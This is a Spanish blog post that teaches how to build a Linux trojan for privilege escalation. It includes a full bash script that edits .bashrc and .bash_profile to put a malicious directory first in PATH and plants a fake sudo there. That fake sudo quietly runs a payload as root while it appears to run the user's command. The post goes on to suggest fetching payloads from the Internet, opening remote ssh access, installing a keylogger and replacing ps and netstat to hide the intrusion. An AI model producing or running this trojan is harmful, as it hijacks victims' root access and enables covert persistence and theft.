Troyanos y escalado de privilegios en Linux

Hola amigos,

Ya os hablé de como ejecutar comandos “fake” en Linux, de una forma estúpida que se me ocurrió de repente, sin necesitar permisos de administrador.

Hoy la vamos a liar muy parda y vamos a escalar privilegios y hacer mierdas locas con ello. ¿Os apetece?

Primero hablemos de los ingredientes:

  • Un troyano
  • La variable de entorno PATH
  • Un programa falso
  • Dar permisos de ejecución
  • Un incauto con permisos de administrador

Como todos sabemos la vulnerabilidad más grande que hay en un equipo se encuentra entre la silla y el teclado así que vamos a atacar ahí. Ahí entra en juego el troyano. Un troyano es básicamente un programa que apetece usar pero hace cosas maliciosas por detrás. Como el caballo de Troya, que era un regalo chulo de los atenienses pero dentro tenía soldados con malas intenciones. Como en aquella historia (os la recomiendo), el caballo sólo tendrá unos pocos efectivos para poder abrir las puertas de la fortaleza, no será quien destruya todo.

El troyano puede ser un juego, un script loco o lo que sea y tenemos que conseguir que nuestra presa lo ejecute. Sin permisos de superusuario ni nada, para que parezca que está seguro. Lo chulo vendrá después.

Nuestro troyano hará básicamente lo mismo que hace el post que os he linkado arriba. El troyano generará un programa que haga cosas maliciosas y lo insertará en una carpeta bajo el control del usuario. Además añadirá una línea en .bashrc del usuario o en el .bash_profile (o el archivo que use) que cambie la variable PATH y le meta el camino al directorio donde lo hemos situado. Estos archivos, por si no lo sabéis, se ejecutan cuando el usuario inicia una sesión. Así que la próxima vez que el usuario inicie una sesión, se la variable PATH incluirá nuestro directorio maldito.

Si llamamos sudo a ese programa que añadamos (podemos hacerlo con otros, pero con este truco escalaremos), cuando el usuario lance sudo el programa no lanzará el que quiere, si no nuestra copia maliciosa. En ella podemos lanzar algo utilizando con el sudo de verdad. El usuario esperará tener que meter la contraseña y, si lo hace, el programa hará algo que él no esperaba y con permisos de superusuario. Además, para que el usuario no sospeche (lo veréis en el código abajo) podemos lanzar nuestro código malicioso con sudo en background y lanzar después lo que el usuario quería, así él verá como que todo está bien.

Evidentemente, el troyano además tendría que darle permisos de ejecución al programa malicioso para que el usuario pueda lanzarlo sin problemas. Tampoco se requieren privilegios para esto así que es factible.

Si lo hacemos con otro comando cuidado: si el programa que pisamos está en /bin/ no funciona porque tiene preferencia el path /bin/ sobre el resto y nos lanzaría el original (sudo está en /usr/bin/).

Esta es la teoría.

Voy a enseñar esto en un lenguaje de scripting, en bash, concretamente. Esto es un ERROR si queremos joder al colega de verdad porque podría leer el código antes de ejecutar y ver nuestra movida. Lo hago sólo para demostrar que se puede hacer y nos lo pasemos bien.

También lo hago para que quede muy corto y fácil de leer, no quiero explayarme mucho aquí. Posiblemente haga una versión larga que se limpie a sí mismo y que infecte el sistema de forma oculta y permanente. Si lo hago lo enlazaré aquí.

Vamos al código:

#!/bin/bash

# Si el usuario tiene bashrc o bash_profile le añadimos nuestro path.
# No todo el mundo usa bash, así que habría que comprobar eso
# o utilizar .profile u otras opciones. Recuerdo: estamos jugando.
if [ -f ~/.bashrc ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bashrc
fi

if [ -f ~/.bash_profile ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bash_profile
fi

# Creamos el directorio maldito donde se alojará nuestro escalador de
# privilegios. Tiene que ser un lugar donde el usuario tenga acceso.
mkdir -p /path/al/directorio/maldito

# Volcamos el escalador de privilegios al directorio maldito, la orden
# 'maataar' puede ser lo que nosotros queramos hacer con el usuario. Más abajo
# cuento opciones.
cat > /path/al/directorio/maldito/sudo <<EOF
#!/bin/bash
/usr/bin/sudo -b maataaar >/dev/null 2>&1
/usr/bin/sudo $@
EOF

# Damos permisos de ejecución al comando maldito
chmod 777 /path/al/directorio/maldito/sudo

# Falta la funcionalidad que oculte que esto es un programa estrictamente
# malicioso.

El código que muestro es la versión extremadamente corta. Se pueden hacer muchas cosas. Vamos a contar algunas.

Se podría hacer que el script del troyano automáticamente se sobreescribiera y limpiase las cosas maliciosas que tiene porque su labor ya estaría hecha.

Lo mismo con el sudo, una vez habiendo escalado los privilegios podría pisar el comando sudo de verdad y borrar todo el rastro eliminando las líneas de .bashrc y el comando sudo falso con su directorio.

Sería factible también que, en lugar de estar embebido en el troyano, el código fuente del falso sudo se descargase de algún lugar en Internet, y con él se podría coger también algún otro programa agresivo para ejecutar en lugar de maataar.

Después del escalado de privilegios por ejemplo, podríamos levantar un servidor ssh para poder conectarnos al equipo desde el exterior, o un keylogger que nos envíe lo que el usuario teclea. Esto sería muy fácil de detectar si la víctima ejecutase ps o netstat, pero… ¿Si hemos pisado sudo, cómo no vamos a poder pisar eso?

Son opciones locas que se me ocurren pensando poco. Seguro que a vosotros se os ocurren más.

Dadle un par de vueltas y me contáis, que para eso está la sección de comentarios.

No prometo que el script funcione, tampoco es esa su intención. La idea es que sirva de pseudocódigo para que nos entendamos. De todas formas, debería funcionar.

Nada, ésta es un poco la historia. Espero que os haya molado. Como veis, he dejado muchas cosas abiertas para que investiguéis, así que ya sabéis. 😉

Un abrazo.

Anuncios